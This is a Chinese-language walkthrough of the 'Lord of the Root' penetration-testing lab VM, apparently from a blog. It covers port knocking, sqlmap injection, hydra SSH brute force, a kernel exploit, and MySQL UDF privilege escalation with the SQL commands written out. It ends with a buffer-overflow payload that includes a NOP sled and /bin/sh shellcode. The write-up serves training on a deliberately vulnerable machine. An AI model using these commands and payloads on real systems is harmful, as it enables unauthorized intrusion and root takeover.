渗透测试靶机----Lord of the root

渗透测试靶机----Lord of the root


开启靶机,还是登录页面,平平无奇

在这里插入图片描述

kali启动nmap扫描

在这里插入图片描述
扫除目标靶机的ip地址,继续
在这里插入图片描述
这里只开启了22端口,有些奇怪
先尝试登录ssh吧,看看有什么信息
在这里插入图片描述
可以尝试,但是这里出现了提示,easy as 1,2,3

  • 知识点:

    • 端口碰撞:
    • 端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
    • 端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
    • 由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
    • 如何碰撞?首先要知道端口碰撞的序列,否则暴力碰撞开启的机会太小。
这里有两种方法
  • 一种是:knock 命令
  • linux安装:sudo apt install knockd
  • knock 192.168.217.148 1 2 3 -v
  • 另一种是:hping3:TCP/IP数据包组装/分析工具

在这里插入图片描述

  • 这里执行完成后,就继续来一波端口扫描,看看端口开放的变化

在这里插入图片描述

  • 这里看到出现了一个1337端口,没有别的信息,那么尝试用1337
  • 端口在浏览器访问
    在这里插入图片描述
  • 查看源码,查看图片,均无信息,那么说明这个页面只是一个单纯的首页而已,通过目录爆破也没看到有用的信息,但是在访问敏感目录的时候出现了robot.txt文件信息
    在这里插入图片描述
得到一串密文,查看密文加密方式

在这里插入图片描述

  • 这里直接自动识别为base64解码,并且返回了一串新的base编码,继续解码
    在这里插入图片描述
获得到未知路径,直接尝试访问

在这里插入图片描述
获取到一个登录框,这里思路就是要么sql注入了,要么直接暴力破解来登录进去
这里就直接sqlmap跑一遍
在这里插入图片描述
这里也是直接跑成功了,那么就是爆数据库了
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

现在得到了账号密码,那就是爆破了,直接上hydra
  • 在这里插入图片描述
  • 直接爆出了账户密码信息,就能登录了

这里还有另一种办法,简单介绍:

若有用户名和密码字典的话,使用auxiliary/scanner/ssh/ssh_login模块
在这里插入图片描述
这里设置好相应的参数,直接run,就能获取一个shell,这个就是登录成功的shell

内核提权:

  • 在这里插入图片描述
  • 这里发现了版本14.04,直接搜索相关exp
  • 果然存在
  • 在这里插入图片描述
  • 之后就是.c文件流程了
  • 在这里插入图片描述
  • 这里上传到靶机,直接编译,运行
  • 在这里插入图片描述
  • 成功提权,并且查找到了对应的flag
    在这里插入图片描述
UDF提权:
另一种办法:

在这里插入图片描述
这里直接查看立式安装包的版本,5.5.44
继续查看登录信息,发现账号密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里知道了账户密码,直接登录mysql
在这里插入图片描述

判断写入条件,关乎是否能够进行提权

在这里插入图片描述

  • 果然,这里可以提权
  • 在这里插入图片描述
  • 这里查看插件库的信息,找了地址
  • 在这里插入图片描述
  • 这里还查看了能否远程登录,不行,只允许本地登录
知识点:

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

  • MySQL的四种BLOB类型:
    类型 大小(单位:字节)
    TinyBlob 最大 255
    Blob 最大 65K
    MediumBlob 最大 16M
    LongBlob 最大 4G
  • 可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
    sys_eval,执行任意命令,并将输出返回
    sys_exec,执行任意命令,并将退出码返回。
    sys_get,获取一个环境变量。
    sys_set,创建或修改一个环境变量。

由于已经知道了可以使用mysql udf提权,那么就要将kali本地文件上传到靶机中,这里直接上传到/tmp目录中
在这里插入图片描述
在这里插入图片描述
这里就直接上手:
use mysql
create table anger(anger longblob);
insert into anger values (load_file('/tmp/anger.so'));
select * from anger into dumpfile '/usr/lib/mysql/plugin/anger.so';
create function sys_exec returns string soname 'anger.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
在这里插入图片描述这里直接就获得到了root权限,提权也成功了
在这里插入图片描述

又一个新的提权方法:(缓冲区溢出)

  • 先查看这里的文件字节大小:
    在这里插入图片描述
  • 也可以直接使用file /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file来比较文件的哈希值
  • 在这里插入图片描述
  • 这里发现这三个同名文件的文件大小每过几分钟就会出现不同,这是一种防护机制,叫做ASLR
  • 在这里插入图片描述
  • cat /proc/sys/kernel/randomize_va_space来查看ASLR设置
  • 在这里插入图片描述

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!!!其实就算关闭了ASLR,在root权限下还执行了计划任务switcher.py每三分钟变换一次值,还会打乱缓冲区溢出的“ buf”文件,因此让缓冲区溢出难度加大!

  • 绕过ASLR的一种方法是通过编写一个自动循环脚本来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来!

  • 在这里插入图片描述

  • 在这里插入图片描述

  • 在这里插入图片描述

  • 这样就可以直接在kali 中分析这个文件

知识点:

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

  • 这里locate pattern_会发现两个专门用作缓冲区溢出查找偏移量的脚本

  • 在这里插入图片描述

  • 这里生成1000位的值

  • 在这里插入图片描述

  • 这里通过gdb file查看,run一下刚才跑出来的1000位的值,就能发现查看到错误点在41376641

  • 在这里插入图片描述

  • 在这里插入图片描述

  • 直接查到这里的偏移量是在171处

  • 接下来使用Nop空间测试ESP:

run $(python -c ‘print “A” * 171 + “B” * 4 + “\x90” * 2000’)
x/s $esp
在这里插入图片描述

  • 接下来就是要爆破
shellcode:

这里直接执行:
peda help shellcode –-- 关于 shellcode 的帮助
shellcode search exec –-- 如何使用 'exec' 搜索所有 shellcode
shellcode display 841 –-- 显示找到的代码的来源
这里使用的是841
在这里插入图片描述
直接生成代码,然后查看当前文件是否存在安全措施
在这里插入图片描述
之后直接执行:run $(python -c 'print ("A" * 171 + "\xd0\x32\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")')
这里等待一会儿就会返回一个shell

溢出漏洞:缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

总结:

本次打靶涉及一些pwn相关知识,对这方面作者还没有掌握,对于后面缓冲区溢出漏洞也还是没有理解太多,总的来说,对于缓冲区溢出漏洞,还依然有待学习,这里缓冲区溢出还有两种方法,但是由于理解程度有限,还没有复现,若有需要可私信了解。
对于缓冲区溢出这部分内容,还请各位大佬批评指正,文章中若存在错误,还请指出。
将找到的完整打靶思路放在下面参考地址中。

参考地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值